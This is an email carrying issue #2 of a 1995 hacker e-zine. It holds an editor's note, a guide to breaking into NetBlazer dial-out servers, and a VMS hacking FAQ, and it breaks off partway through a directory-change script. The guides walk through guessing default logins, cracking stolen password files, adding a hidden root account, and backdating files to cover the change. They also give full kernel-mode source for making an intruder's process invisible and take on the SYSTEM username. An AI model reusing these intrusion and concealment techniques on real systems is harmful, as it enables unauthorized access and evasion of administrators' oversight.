From SCANLONR@delphi.com Sun Sep  3 08:46:56 1995
Return-Path: SCANLONR@delphi.com
Received: from bos1f.delphi.com (SYSTEM@bos1f.delphi.com [192.80.63.6]) by wildsau.idv.uni-linz.ac.at (8.6.9/8.6.9) with ESMTP id IAA00845 for ; Sun, 3 Sep 1995 08:39:53 +0200
Received: from delphi.com by delphi.com (PMDF V4.3-9 #10880)
 id <01HUTNPWVRKO8ZEL56@delphi.com>; Sun, 03 Sep 1995 02:39:37 -0400 (EDT)
Date: Sun, 03 Sep 1995 02:39:37 -0400 (EDT)
From: "Ray D. Scanlon" 
Subject: HACKERS #2
To: klon@wildsau.idv.uni-linz.ac.at
Message-id: <01HUTNPWVRKQ8ZEL56@delphi.com>
X-VMS-To: INTERNET"klon@wildsau.idv.uni-linz.ac.at"
X-VMS-Cc: SCANLONR
MIME-version: 1.0
Content-type: TEXT/PLAIN; CHARSET=US-ASCII
Content-transfer-encoding: 7BIT
Status: RO

*   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *

                            -= H A C K E R S =-

                          Issue #2, September 1995

                           Edited by:  Revolution

                "Hacking is life.  The rest is just details."


                             Table of Contents

 From the Editor . . . . . . . . . . . . . . . . . . . . . . . . .Revolution

 Hacking Net Blazer . . . . . . . . . . . . . . . . . . . . . . . . . . Jojo

 VMS FAQ . . . . . . . . . . . . . . . . . . . . . . . . . . . . .The Beaver

 BillWatch #15 . . . . . . . . . . . . . . . Voters Telecommunications Watch

 Security Resources List . . . . . . . . . . . . . . . . . Christopher Klaus

 Zoomin' . . . . . . . . . . . . . . . . . . . . . . . . . Black Magic Radio

 Low Power Broadcasting FAQ . . . . . . . . . . . . . . . . . .Rick Harrison

 The AOL Syndrome. . . . . . . . . . . . . . . . . . . . . . . . .Revolution

 The End . . . . . . . . . . . . . . . . . . . . . . . . . . . . .Revolution

----------------------------------------------------------------------------
copyright 1995 by Mike Scanlon All articles remain the property of their
authors, and may be reprinted with their permission.  This zine may be
reprinted freely as a whole electronically, for hard copy rights mail the
editor.  HACKERS is published monthly by Mike Scanlon, to be added to the
subscription list or to submit articles mail scanlonr@delphi.com
----------------------------------------------------------------------------
*   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *

                       -= H A C K E R S =-

                     Issue #2, File #1 of 9

                         From the Editor

                         By:  Revolution


     Mondo 2000 might have all the cool cover art, but we've got
everything else this issue.  News from a pirate radio station, a
little bit on how to start your own low power broadcasting unit,
hacking articles on two operating systems, some news on what's
going on in congress, and hell, even a little arm chair philosophy.

     But what makes this issue so special isn't what's in it, but
what's not in it.  I was planning on including an excellent article
on social engineering by Ira Winkler, but I wasn't allowed to
because her boss thought it would be in bad taste to run the
article in a zine which featured an article on Unix hacking (by the
Prophet, HACKERS #1).  Apparently there was some fear that instead
of it being a lesson in security, or how to stop social
engineering, it would be used in the opposite sense, as a how to
for hackers to get informaion out of corporate employees.  Of
course none of you would use the articles in this magazine to
undermine security, would you?  No.....

     But I hope this doesn't prove to be a turn off to all would be
authors who happen to be security professionals.  Of course any
article that appears in this magazine is going to seen by those who
are more interested in undermining security than in maintaining it,
but so is any publication.  That is the risk of publishing your
work.  It is going to be seen by everyone; even those who would use
it for uses other than you would have them.  With that in mind, Ira
Winkler's article "A Case Study:  Social Engineers Wreak Havoc,"
which happens to be a very good article, is available on the world
wide web, along with a lot of other good security stuff, at
http://all.net.

     This is a magazine by, for, and about hackers.  Hackers are
those who follow the ethic, those who do interesting things with
computers.  If you've hacked a good firewall set up, or something
else to do with security, don't be afraid to write an article and
send it here.

     With that out of the way, let's get on with the good stuff.
Thanks to VTW for allowing me to reprint BillWatch, a mailing list
anybody who wishes to stay abreast with the goings on in congress
should subscribe to.  Thanks to Jojo for writing the first hacking
article written specifically for publication in HACKERS, and thanks
to everyone else who let me reprint their stuff.

     HACKERS has found a home on the world wide web thanks to Klon
at http://wildsau.idv.uni-linz.ac.at/~klon.  I'm still looking for
an ftp support site.  If you'd like to give me a directory to put
back issues in, get in touch with me.  I didn't get enough mail to
justify a letters column, so write in what you think about this
issue, and hopefully next month we'll get something together.  As
always, I'm looking for more articles.  If you have anything in
mind you'd like to write about, or have written, mail me.  My
address is still scanlonr@delphi.com.

     Hope you have as much fun reading this issue as I did putting
it together.

                                          - Revolution

*   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *
As always, the standard disclaimer applies.  All of these articles are
provided for informational purposes only, Mike Scanlon and the respective
authors cannot be held accountable for any illegal acts they are used to
commit.
*   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *   *

                           -= H A C K E R S =-

                         Issue #2, File #2 of 9

   IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
   :   T H E   N E T B L A Z E R   O P E R A T I N G   S Y S T E M   :
   HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<

                                 By: Jojo


I know this os is used on some dialout servers than you could access by using
telnet or a phone number you found out. You'll know you're on such a server
when you get this login screen:

        Company's_name NetBlazer Version 2.1
        XXXX-login: telebit

Then you'll remember you got this article to help you :-))))



GETTING PASSED THE LOGIN:
-------------------------

Try logins like test, setup, remote, snmp, MAV, the company's name or any
other name you see on the login screen! Use passwords like remote, test, dial,
dialout, or no password at all ;-)

If you manage to get a login with good enough privileges (rights), you'll be
able to use most of the commands described in this article. If you find a
normal user login, then go straight to "DIALING OUT" to see if you have the
right to use the modem on the server.



CREATING YOUR OWN ACCOUNT:
--------------------------

You'll have to edit the passwd file to do that. It's a Unix-like passwd file
with passwords encrypted on it.

        XXXX:Top> type passwd
        snmp::0::,,,::configure; logout
        root:2gi.xa2.DgUIo:0::,,,::
        remote::2::,,,::
        [....]

Here you see that the snmp login has no password! This is *very* usual on
new servers that haven't been configured yet. Anyway... Get this passwd file
and run a CRACKER PROGRAM on it: you can use Cracker Jack on your PC, works
fine. I cracked more than 50% of the passwords, some users really always use
the same easy_to_guess passwords everywhere :-))))

OK now you know the easy login you used will soon be changed. So you better
hurry up creating your own account by adding a line to the passwd file:

        XXXX:Top> chmod -w passwd
        XXXX:Top> edit passwd
        *a
        [ Now you enter your own line, something like: ]
        [ my_root_access::0::,,,::                     ]
        *w
        *q
        XXXX:Top> chmod w passwd

The command "chmod" is like "attrib" on DOS.
If you want to be a good boy and leave the place tidy, you can change the
date & time of the passwd file to the one it had before you changed it.
Use the "settime" command, edit and save the file again, then use "settime"
once more to set back the real date and time.

Now you have a new account to login with if the easy_to_guess logins are
changed by the root.



GET MORE INFO ABOUT THE SERVER:
-------------------------------

When you hack on a server (internet or phone) always remember to get some
good information about it, things like where it actually is located, what
it is used for, names of users on it.... Why? Simply because if the access
numbers get changed, you'll use the information you got to try to find out
the *new* access numbers (internet address or phone number).

On NetBlazer you can do the following:

        XXXX:Top> dir
        SETONE   INF      4501  01-10-95   02:52
        UPDATE   INF       626  02-13-95   02:53
        REGISTER INF       320  02-04-95   14:23
        [....]
        92 File(s) (2500195 bytes) 150002 bytes free
        XXXX:Top> type register.inf
        set R(site)             ---> the_company's_name
        set R(contact)          ---> this is the root's real name :-)))
        set R(phone)            ---> Yes give him a phone call!!!
        [....]
        XXXX:Top>



OTHER COMMANDS:
---------------

Type "?" to see what you can do:

        XXXX:Top> ?
        Available commands:
        bin>            configure>      disk>           help
        history>        list>           logout          reboot
        sessions>       shutdown        top>            ?
        XXXX:Top> list
        XXXX:Top>List> ?
        Available commands:
        alias           arp             asy             destination
        dialout         domain          dynamic         ethernet
        filter          group           history         icmp
        [....]
        XXXX:Top>List>

"bin" and "configure" are directories, "logout" is a command.
You can easily learn how to use them if you are interested, just try them out
or use the "help" command.



DIALING OUT:
------------

Add a phone number to dial if you have the right to:

        XXXX:Top> configure
        XXXX:Top>Configure> dialout
        XXXX:Top>Configure>Dialout> add
        Name of dialout: elite_bbs
        Phone number: 1-TRY-GET-ME!!
        [....]
        XXXX:Top>Configure>Dialout> dial elite_bbs
        [....]

Else just use "list" to see what phone numbers have already been configured
and try them out for fun :-)))

        XXXX:Top>Configure>Dialout> list
        Name                      Phone              Characteristics
        Your_mother                                    dialout
        Your_grand_mother                              dialout
        And_all_the_mafia_family                       dialout
        [....]
        XXX:Top>Configure>Dialout>



-----------------------------------------------------------------------------
-----   H A V E   F U N   H A C K I N G   A N D   P H R E A K I N G   -------
-----------------------------------------------------------------------------

[To get in touch with Jojo, mail him on brinta bbs, at 145.24.149.50.
                                                - Revolution]

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

                           -= H A C K E R S =-

                         Issue #2, File #3 of 9

                  - VMS FAQ (Frequently Ask Questions) -

                          - Beta 0.01 Release -

                             By:  The Beaver


Introduction:

        This article contain the answers to some frequently asked question
        (Hence,  the name FAQ) about hacking the VMS operating system.

        The article may be freely redistributed in its entirety provide
        that credits are not altered or removed.   It may not be
        sold for profit or incorporated in commercial documents without
        the written permission of the author(s).

        This is the beta release of this article,   which means,
        the article is still in the working,  and is not complete.

        Submissions,  corrections,  comments,  input,  complaints,
        bomb threats,   cash,  etc.,  should be directed toward
        The Beaver (beaver@upperdck.blkbox.com).


Index ---:

More Common Newbie Questions:

1.  VMS Basic information ("What does VMS run on?")
2.  Password storage information (SYSUAF.DAT) ("Where the hell is the
    /etc/passwd file??!?!?!")
3.  Cracking the SYSUAF.DAT ("Is there a version of 'Crack' for VMS
    machines?")
4.  Becoming invisible in VMS ("Is there a 'Cloak' routine in VMS?")
5.  SET DEFAULT command ("How the do I change damn directory's?")
6.  The infamous "CD" .COM file ("I hate this SET DEFAULT crap")
7.  LOGIN.COM ("Okay,  where's my .profile???").
8.  Captive Accounts ("I can't get to DCL").

VMS Mail Hack Routines:

1.  Fake Mail ("How do I send fake mail to VMS machines?")
2.  Unix/VMS Sendmail holes ("Will my sendmail holes work on VMS?")
3.  Mail Bomb ("I need to mailbomb a user from my VMS account,  how?)

User/Image Privilege Information:

1.  Systems Privileges, Listing and explanation ("How are Priv's setup?")
2.  Creating privileged imagines ("Can I create a SUID Shell on a VMS box?")

DECNetwork Information.

1.  Brief Description of a DECNet ("What's a DECNet?")
2.  What it means to you ("What can it do for me?")
3.  Obtaining files/system info/etc ("How do I get information for the remote?")
4.  Using remote nodes ("How do I connect interactively?")
5.  Getting node lists ("How do I find connectable nodes?")
6.  Proxy Logins ("Can't DECNet nodes be protected?")
7.  Proxy Logs ("Are Proxy logins logged? Can I use it to break into nodes?")

TCP/IP Connected VMS Machines.

1.  Obtaining remote usernames without "FINGER" ("How do I get usernames
    if FINGER is disabled")
2.  Changing the image running in FINGER ("How do I link a command name to
    another so it appears I am running a different image?")


                -      More Common Newbie Questions      -


1.      "What does VMS run on?"

        VMS (Virtual Memory System) runs on Digital Equipment Corp.
        (DEC - pronounced,  "DECK") VAX (Virtual Address eXtension)
        and the newer Alpha's.   The user uses DCL (DEC Command
        Language) to interact with the computer.  These commands
        and there syntax are completely different then those of
        Unix and Unix-like operating systems,  thus a completely
        different mindset is often required (this is the authors
        opinion).

2.      "Why A 'VMS-Hacking FAQ'?"

        Several reasons.    Once and a while,   A escape from Unix is
        very,  very nice.   Another reason is that is art of
        VMS hacking has since vanished,  and its replacement are
        statements like,  "Hacking VMS is impossible", "VMS is
        to cryptic to use",  and as always,  "Man,  VMS sucks".

        These are generally statements by people who know almost
        zero about VMS.   I don't want to go into a "which OS is
        better",  because that would defeat the purpose of this
        file",  but in my personal opinion,   both OS's have
        there advantages/disadvantages.

        I have,  however,  written this FAQ with a Unix overtone
        to it,  to help the reader understand what is trying to
        be accomplished in some examples.

3.      "Where in the hell is the passwd file???!?!?!"

        There is no /etc/passwd file.  All user information is kept in
        a file called SYSUAF.DAT,  which is stored in the directory
        (or actual the logical) SYS$COMMON.   This file is usually
        not readable by "normal" users.

4.      "Is there a version of "Crack" that I can run on a VMS machine?"

        The unix program, "Crack" will not work,  but there are password
        guessing routines available.

        The best on I have seen is "GUESS_PASSWORD.EXE",  which can be
        obtained from the following sites.

        ftp.wku.edu:/vms/fileserv/uaf.zip
        ftp.spc.edu:/macro32/savesets/uaf.zip

        In order for the routine to work,  you need access to the
        SYSUAF.DAT.  This version works on both OpenVMS VAX and
        OpenVMS AXP

5.      "Can I 'Cloak' in routine in VMS?"

        Yes.  Below is the code needed to make your process invisible
        to "FINGER",  "SHOW USERS",  etc...

        First,  create the following file:

Name: BUILD_INVISIBLE.COM
---------------------------------[Cut Here]-----------------------------------
$ save_verify = 'f$verify(0)'
$ system = "vax"        !Set to "alpha" for Alpha
$!
$!  File to build Ehud Gavron's INVISIBLE
$!
$!  Author:     Hunter Goatley
$!
$ say := write sys$output
$ on error then goto common_exit
$ on contrl_y then goto common_exit
$ say "Extracting $JIBDEF and $PCBDEF from LIB.MLB...."
$ library/macro/extr=$JIBDEF/out=jibdef.mar sys$library:lib.mlb
$ library/macro/extr=$PCBDEF/out=pcbdef.mar sys$library:lib.mlb
$ say "Converting $*DEF macros to C .H files...."
$ call convert_to_h jibdef.mar
$ call convert_to_h pcbdef.mar
$ say "Compiling INVISIBLE...."
$ cc invisible
$ say "Linking INVISIBLE...."
$ link/notrace invisible,invisible.opt_'system'/opt
$ say "INVISIBLE build completed"
$ common_exit:
$       exit f$verify(save_verify).or.1
$ convert_to_h: subroutine
$ name = f$parse(p1,"","","NAME")
$ open/read tmp 'p1'
$ create 'name'.H
$ open/append tmph 'name'.H
$ cvt_loop:
$    read/error=cvt_fin tmp line
$    if f$extract(0,4,line).nes."$EQU" then goto cvt_loop
$    write tmph "#define ",f$extract(4,255,line)
$    goto cvt_loop
$ cvt_fin:
$    close tmp
$    close tmph
$ write sys$output "C header file ''name'.H created"
$ exit
$ endsubroutine
-------------------------------[End Of File]-----------------------------------

        Next is the C Code for the "INVISIBLE" routine....


Name:  INVISIBLE.C
---------------------------------[Cut Here]------------------------------------
/*
 * Invisible    - Make a process invisible and visible again.  Originally
 *                written in MACRO32.  Now in C so it runs on Alpha too.
 *
 *
 *      Option file invisible.opt:
 *              ALPHA:  sys$loadable_images:sys$base_image.exe/share
 *
 *              VAX:    sys$system:sys.stb/selective_search
 *
 *
 *      Build:
 *              $ cc invisible
 *              $ link invisible,invisible/opt
 *
 *      Usage:
 *              $ run invisible
 *
 *
 *  Ehud Gavron
 *  ACES Consulting Inc.
 *  Gavron@ACES.COM
 *
 *      14-Oct-1992     Ehud Gavron     Ported to C, Alpha, ANSI, and
 *                                      everything else.
 *
 */

#define module_name INVISIBLE
#define module_version "V1.0.0"

#ifdef __alpha
#pragma module module_name module_version
#else /* __vax */
#module module_name module_version
#endif /* __alpha */

#ifndef __alpha
#define sys$gl_ijobcnt sys$gw_ijobcnt
#endif

#include 
#include "jibdef.h"     /* Extracted from LIB.MLB and massaged into C form */
#include "pcbdef.h"     /* Extracted from LIB.MLB and massaged into C form */
#include 
#include 
#include 
#include 
typedef union {
        struct {
                short s_buflen;
                short s_itemcode;
                char *s_bufaddr;
                int *s_retlen;
                } s;
        unsigned long end;
        } ITEMLIST;

#define buflen          s.s_buflen
#define itemcode        s.s_itemcode
#define bufaddr         s.s_bufaddr
#define retlen          s.s_retlen

struct ISB {
        int     l_uic;
        int     l_namelen;
#ifdef __alpha
        int     l_jobtype;
#else
        char    b_jobtype;
#endif
        char    b_terminal;
        char    t_lname[PCB$S_LNAME + 1];
        char    t_username[JIB$S_USERNAME + 1];
        };

struct ISB isb;
static int lnm_retlen;

ITEMLIST lnm_itmlst[2];
ITEMLIST jpi_itmlst[2];
struct dsc$descriptor_s prcnam_desc;
struct dsc$descriptor_s prcnam;
$DESCRIPTOR(lnm_tabnam,"LNM$PROCESS_TABLE");
$DESCRIPTOR(lnm_lognam,"ISB");
$DESCRIPTOR(fao_prcnam,"SYMBIONT_!UL");
int sysuic = 0x00010004;
char sysusername[] = "SYSTEM        ";
char namebuf[PCB$S_LNAME];

#ifdef __alpha
main()
#else
cmain()
#endif
{
        int sys$cmkrnl(),sys$exit(),invisible_k();
        int ss_stat;

        lnm_itmlst[0].buflen = sizeof(isb);
        lnm_itmlst[0].itemcode = LNM$_STRING;
        lnm_itmlst[0].bufaddr = (char *)&isb;
        lnm_itmlst[0].retlen = &lnm_retlen;
        lnm_itmlst[1].end = 0;

        jpi_itmlst[0].buflen = PCB$S_LNAME;
        jpi_itmlst[0].itemcode = JPI$_PRCNAM;
        jpi_itmlst[0].bufaddr = (char *)&isb.t_lname;
        jpi_itmlst[0].retlen = (int *)&isb.l_namelen;
        jpi_itmlst[1].end = 0;

        prcnam_desc.dsc$a_pointer = (char *)&isb.t_lname;
        prcnam_desc.dsc$w_length = PCB$S_LNAME;
        prcnam_desc.dsc$b_dtype = DSC$K_DTYPE_T;
        prcnam_desc.dsc$b_class = DSC$K_CLASS_S;

        prcnam.dsc$a_pointer = (char *)&namebuf;
        prcnam.dsc$w_length = PCB$S_LNAME;
        prcnam.dsc$b_dtype = DSC$K_DTYPE_T;
        prcnam.dsc$b_class = DSC$K_CLASS_S;

        ss_stat = sys$cmkrnl(invisible_k,0);
        (void) sys$exit(ss_stat);
}

int invisible_k()
{
        int sys$getjpiw(),sys$crelnm(),sys$fao(),sys$setprn();
        int strncpy(),sys$exit(),sys$trnlnm(),sys$dellnm();
        int *a_long;
        int acmode = PSL$C_KERNEL;

#pragma nostandard                      /* Oh well */
        globalref ctl$gl_pcb;
        globalref sys$gl_ijobcnt;
#pragma standard

        int ss_stat;
        char *pcb;
        char *jib;
        long *sts;
        long *own;
        char *p;
        long *q;
        int loop = 0;

        pcb = (char *)ctl$gl_pcb;

        if (pcb == 0) {
           return(0);
           }
        q = (long *)((char *)pcb + PCB$L_JIB);
        jib =(char *)  *q;

        sts = (long *)((char *)pcb + PCB$L_STS);

        if (*sts & PCB$M_INTER) {       /* Do stealth mode */
           *sts = *sts^PCB$M_INTER;
           *sts = *sts|PCB$M_NOACNT;

           own = (long *)((char *)pcb + PCB$L_OWNER);
           if (*own == 0) {  /* We are not a subprocess  */
              sys$gl_ijobcnt--;
              }

           p = (char *)pcb + PCB$T_TERMINAL;
           isb.b_terminal = *p;
           *p = '\0';


#ifdef __alpha
           q = (long *)((char *)jib + JIB$L_JOBTYPE);
           isb.l_jobtype = *q;
           *q = 0;
#else
           p = (char *)jib + JIB$B_JOBTYPE;
           isb.b_jobtype = *p;
           *p = '\0';
#endif
           strncpy((char *)&isb.t_username,
                   (char *)(jib + JIB$T_USERNAME),
                   JIB$S_USERNAME);

           strncpy((char *)(jib + JIB$T_USERNAME),
                   (char *)&sysusername,
                   JIB$S_USERNAME);

           q = (long *)((char *)pcb + PCB$L_UIC);
           isb.l_uic = *q;
           *q = sysuic;

           ss_stat = sys$getjpiw(0,0,0,&jpi_itmlst,0,0,0);
           if (!(ss_stat & 1)) return(ss_stat);
           ss_stat = sys$crelnm(0,
                                &lnm_tabnam,
                                &lnm_lognam,
                                &acmode,
                                &lnm_itmlst);
           if (!(ss_stat & 1)) return(ss_stat);
           do {
              loop++;
              prcnam.dsc$w_length = PCB$S_LNAME;
              ss_stat = sys$fao((char *)&fao_prcnam,
                                (char *)&prcnam.dsc$w_length,
                                (char *)&prcnam,
                                loop);
              if (!(ss_stat &1)) return(ss_stat);
              ss_stat = sys$setprn((char*)&prcnam);
              } while (ss_stat == SS$_DUPLNAM);
           return(SS$_NORMAL);
           }
        else {  /* unstealth */
           ss_stat = sys$trnlnm(0,
                                &lnm_tabnam,
                                &lnm_lognam,
                                &acmode,
                                &lnm_itmlst);
           if (!(ss_stat & 1)) return(ss_stat);

           ss_stat = sys$dellnm(&lnm_tabnam,
                                &lnm_lognam,
                                &acmode);
           if (!(ss_stat & 1)) return(ss_stat);

           *sts = *sts|PCB$M_INTER;
           *sts = *sts^PCB$M_NOACNT;

           own = (long *)((char *)pcb + PCB$L_OWNER);
           if (*own == 0) {  /* We are not a subprocess  */
              sys$gl_ijobcnt++;
              }

           q = (long *)((char *)pcb + PCB$L_UIC);
           *q = isb.l_uic;

           p = (char *)pcb + PCB$T_TERMINAL;
           *p = isb.b_terminal;

#ifdef __alpha
           q = (long *)((char *)jib + JIB$L_JOBTYPE);
           *q = isb.l_jobtype;
#else
           p = (char *)jib + JIB$B_JOBTYPE;
           *p = isb.b_jobtype;
#endif
           strncpy((char *)(jib + JIB$T_USERNAME),
                   (char *)&isb.t_username,
                   JIB$S_USERNAME);

           prcnam_desc.dsc$w_length = (short)isb.l_namelen;
           ss_stat = sys$setprn(&prcnam_desc);
           return;
        }
}

#ifndef __alpha
int strncpy(a,b,c)
char *a,*b;
int c;
{
        for (; c > 0; c--) {
          *a++ = *b++;
          }
}
#endif
--------------------------------[End Of File]----------------------------------

        After these files are created,   type in the following at your
        DCL prompt:

$ @build_invisible      ! This will build our INVISIBLE.EXE routine.
$ run invisible         ! One the build is complete.

        You should be completely "cloaked".

        To obtain full source, readme files,  etc,  you can obtain this
        program from:

        ftp.wku.edu:/vms/fileserv/invisible.zip
        ftp.spc.edu:/macro32/savesets/invisible.zip

4.      "How do I change damn directory's?".

        This is done via the "SET DEFAULT" command.  In the following
        format:

$ SET DEFAULT device:[directory]


        VMS uses a standard hierarchy system,  in which devices and
        directory's are separated.  For example,  our home device/directory
        might be:

        DISK3:[USR.JOEHACKER]

        DISK3:  would represent the device that we are on/using
        while,  [USR.JOEHACKER] would signify the actual directory
        on that device that we are using.  So,  to change directory's,
        we could type:

$ SET DEFAULT [USR.BOB]

        If [USR.BOB] is a existing directory,  this would now be our
        current path (and we would still be located on the DISK3:
        device.  If we wanted to simply back out one level (to the
        [USR]) on that device,  we would issue the following command:

$ SET DEFAULT [-]

        The "[-]" signifies one directory back.  So if our path is,
        [USR.BOB.HACKING.VMS.PROGRAMS],  and we want to get to the
        [USR.BOB] directory,  instead of typing the entire path
        again,  we could simply type:

$ SET DEFAULT [---]

        "[---]" means,  back out three levels of the hierarchy.

        There can be several devices on one VMS system (Device names
        can be obtained via a "SHOW DEVICES").  While your
        home directory might be on DISK3,   another users could
        be on device DISK2.   To switch devices, we can add in
        the device name,  followed by the directory (if needed).
        So,  if you need to get to a users who stores information
        in the DISK2:[REALLY.SECRET.STUFF] directory,  you could
        type the following DCL command:

$ SET DEFAULT DISK2:[REALLY.SECRET.STUFF]

        Or if we are currently in the "DISK3:[REALLY]" and we want
        to get to the information in the "DISK2:[REALLY]" directory,
        we could simply type

$ SET DEFAULT DISK2:

        And the rest would be carried over.

        In the event that you need to get to the top of the hierarchy
        (Unix equivelant:  "cd /"),  SET DEFAULT (to any disk structured
        device) to "[000000]".  For example,  to get to the very
        top of the hierarchy on device DISK2,  you would type.

$ SET DEFAULT DISK2:[000000]

        VMS will also allow you to SET DEFAULT to a directory that does
        not exist.  When this happens,  the operating system will
        inform you of this when you try to issue a command that requires
        some sort of file I/O.   If at any point you get completely
        lost,  you can return to your "home" directory by typing

$ SET DEFAULT SYS$LOGIN:


6.      "I hate this SET DEFAULT crap.  Can I just use 'cd' command like
         I do in Unix?".

        By default,  no.  There are two things that you can do.
        One,  add the following line to your "LOGIN.COM" (see
        where my .profile in VMS' for more information)


$ CD :== SET DEFAULT    ! I am hate typing that long "SET DEF" command

        Or you can us the following .COM file,  which will guarrent
        that you eat as many resources as you can......

              [Taken from Phrack,  Vol. 2.  Issue 19.,  File 2]
                           [ Coded By The Mentor ]

                              Code for CD.COM
                               >>>>>>>>>>>>>>>

$! CD.COM v6.09
$! The Ultimate Change Directory Command.
$!
$  hdir     = f$trnlnm("SYS$LOGIN")                 ! Home Directory
$  ndir     = f$edit(p1,"UPCASE")                   ! New  Directory
$  odir     = f$environment("DEFAULT")              ! Old  Directory
$  prompton = (f$edit(f$trnlnm("SYS$PROMPT"),"UPCASE") .eqs. "ON")
$!
$  if (ndir .eqs. "")           then goto DISPLAY   ! No Dir
$  if (ndir .eqs. "*")          then goto DIRSEARCH ! Search for Dirs
$  if (ndir .eqs. "?")          then goto HELP      ! Instructions
$!
$  PARSE:
$  length   = f$length(ndir)                        ! Fix up ndir
$  if (f$location("@",ndir) .eq. 0) .or. -
      (f$location("$",ndir) .eq. 0) then ndir = f$extract(1, length - 1, ndir)
$  right    = f$location("]",ndir) + 1
$  if (right .gt. length) then right = f$location(">", ndir)
$  if (right .le. length) then ndir  = f$extract(0, right, ndir)
$!
$  if (f$trnlnm(ndir) .eqs. "") then goto CASESYM   ! Not Logical Name
$     ndir   = f$trnlnm(ndir)                       ! Logical Name
$     goto PARSE
$!
$  CASESYM:
$  if ("''&ndir'" .eqs. "")     then goto CASE0     ! Not Symbol
$     ndir = 'ndir'                                 ! Symbol
$     goto PARSE
$!
$  CASE0:
$  len_ndir = f$length(ndir)                        ! Regular Dir
$  if (f$location("[", ndir) .lt. len_ndir) .or. -
      (f$location("<", ndir) .lt. len_ndir) then goto SETDIR
$!
$  CASE1:                                           ! Home Dir
$  if ((ndir .nes. "HOME") .and. (ndir .nes. "\")) then goto CASE2
$     ndir = hdir
$     goto SETDIR
$!
$  CASE2:                                           ! . .. .dir
$  if (f$location(".", ndir) .nes. 0) then goto CASE3
$     if (ndir .eqs. "..") then ndir = "-"
$     if (f$extract(0, 2, ndir) .eqs. "..") -
         then ndir = "-" + f$extract(1, len_ndir - 1, ndir)
$     ndir = "[" + ndir + "]"
$     if (ndir .eqs. "[.]") then ndir = odir
$     goto SETDIR
$!
$  CASE3:                                           ! :
$  if (f$location(":", ndir) .ge. len_ndir) then goto CASE4
$     left    = f$location(":", ndir) + 1
$     symbol  = f$extract(left, 1, ndir)
$     if (symbol .eqs. ":")  then goto CASE3B       ! :: Node
$     if ((symbol .eqs. "[") .or. (symbol .eqs. "<")) then goto SETDIR
$        ndir = f$extract(0, left, ndir) + "[" -
              + f$extract(left, len_ndir - left+1, ndir) + "]"
$     goto SETDIR
$!
$  CASE3B:                                          ! NODE::nothing
$  if (f$length(ndir)-1 .gt. left) then goto CASE3C
$     ndir = ndir + "[000000]"
$     goto SETDIR
$!
$  CASE3C:                                          ! NODE::directory
$  if ((f$location("[", ndir) - f$location("<", ndir)) .ne. 0) -
      then goto SETDIR
$
$     ndir = f$parse(ndir,,,"NODE") + "[" + f$parse(ndir,,,"NAME") + "]"
$     goto SETDIR
$!
$  CASE4:                                           ! dir
$  ndir = "[" + ndir + "]"
$!
$  SETDIR:
$  set default 'ndir'
$  if (f$parse("") .eqs. "") then goto DIRERROR
$!
$  DISPLAY:
$  if ((ndir .nes. "") .and. prompton) then goto NODISPLAY
$     hnode = f$getsyi("NODENAME")
$     cnode = f$parse(f$trnlnm("SYS$DISK"),,,"NODE") - "::"
$     if (cnode .eqs. "") then cnode = hnode
$     cdir  = f$environment("DEFAULT")
$     write sys$output " "
$     write sys$output "          Home Node: ", hnode
$     write sys$output "     Home Directory: ", hdir
$     if (cdir .eqs. hdir) .and. (cnode .eqs. hnode) then goto DISPSKIP
$     write sys$output "       Current Node: ", cnode
$     write sys$output "  Current Directory: ", cdir
$  DISPSKIP:
$     write sys$output " "
$!
$  NODISPLAY:
$  ndir = f$environment("DEFAULT")
$  if .not. prompton then goto END
$!
$  if (f$length(ndir) .ge. 32) then goto TOOLONG
$!
$  SETPROMPT:
$  set prompt = 'ndir'" "
$!
$  END:
$  exit
$!
$  DIRERROR:
$  write sys$output " "
$  write sys$output "          ", ndir, " Directory does not exist!"
$  write sys$output " "
$  set default 'odir'
$  ndir = odir
$  goto NODISPLAY
$!
$! Prompt Problems------------------------------------------------------------
$!
$  TOOLONG:
$! Prompt is too long. Get rid of everything to the left of [ or <. If that
$! doesn't work, get rid of a subdirectory at a time.  As a last resort,
$! set the prompt back to $.
$!
$  left     = f$location("[", ndir)
$  len_ndir = f$length(ndir)
$  if (left .ge. len_ndir) then left = f$location("<",ndir)
$  if (left .gt. 0) .and. (left .lt. len_ndir) -
      then ndir = f$extract(left, len_ndir - left, ndir)
$!
$  STILLTOOLONG:
$    if (f$length(ndir) .lt. 32) then goto SETPROMPT
$    left     = f$location(".", ndir) + 1
$    len_ndir = f$length(ndir)
$    if left .ge. len_ndir then ndir = "$ "
$    if left .ne. len_ndir -
        then ndir = "[*" + f$extract(left, len_ndir - left, ndir)
$    goto STILLTOOLONG
$!
$! Wildcard Directory---------------------------------------------------------
$!
$  DIRSEARCH:
$  error_message = f$environment("MESSAGE")
$  on control_y then goto DIREND
$  on control_c then goto DIREND
$  set message/nosev/nofac/noid/notext
$  write sys$output " "
$  dispct = 1
$  dirct  = 0
$  pauseflag = 1
$!
$  DIRLOOP:
$    userfile = f$search("*.dir")
$    if (userfile .eqs. "") .and. (dirct .ne. 0) then goto DIRMENU
$    if (userfile .eqs. "") then goto DIRNONE
$    dispct = dispct + 1
$    dirct  = dirct  + 1
$    on severe then $ userprot = "No Priv"
$    userprot = f$file_attributes(userfile,"PRO")
$    if userprot .nes. "No Priv" then userprot = " "
$    userfile'dirct' = "[." + f$parse(userfile,,,"NAME") + "]"
$    userprot'dirct' = userprot
$    lengthflag = (f$length(userfile'dirct') .gt. 18)
$    if lengthflag then write sys$output -
        f$fao("  !3SL   !34AS  ", dirct, userfile'dirct'), userprot'dirct'
$    if (.not. lengthflag) then write sys$output -
        f$fao("  !3SL   !20AS  ", dirct, userfile'dirct'), userprot'dirct'
$    if (dispct .lt. 8) then goto DIRLOOP
$    dirct  = dirct  + 1
$    userfile'dirct' = ""
$    dirct  = dirct  + 1
$    userfile'dirct' = ""
$    if pauseflag then goto DIRMENU
$    dispct = 0
$    goto DIRLOOP
$!
$  DIRMENU:
$  write sys$output " "
$  if (userfile .eqs. "") then goto DIRMENU2
$     write sys$output "    M   More subdirectories"
